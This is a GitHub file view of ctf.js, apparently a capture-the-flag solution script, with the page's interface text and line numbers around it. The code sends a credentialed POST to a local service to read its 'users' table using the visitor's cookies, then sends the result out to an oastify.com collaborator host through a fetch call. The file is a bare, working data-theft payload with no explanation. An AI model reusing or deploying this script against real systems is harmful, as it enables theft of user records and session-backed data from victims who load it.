-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathctf.js
More file actions
39 lines (36 loc) · 1.04 KB
/
ctf.js
File metadata and controls
39 lines (36 loc) · 1.04 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function submitRequest() {
const url = "http://127.0.0.1:1337/table";
const body = JSON.stringify({ tableName: "users" });
fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: body,
credentials: "include" // This ensures cookies are sent with the request
})
.then(response => {
if (response.ok) {
return response.json(); // Parse JSON response
} else {
throw new Error('Request failed with status ' + response.status);
}
})
.then(data => {
console.log("Response data:", data);
// Exfiltrate the result to a remote server
fetch(`//6ovkupgxckaglcy6xvon9mrgh7nybtzi.oastify.com/exfil?data==${encodeURIComponent(JSON.stringify(data))}`, {
method: "GET",
})
.then(exfilResponse => {
console.log("Exfiltration response:", exfilResponse.status);
})
.catch(exfilError => {
console.error("Error exfiltrating data:", exfilError);
});
})
.catch(error => {
console.error("Error:", error);
});
}
submitRequest();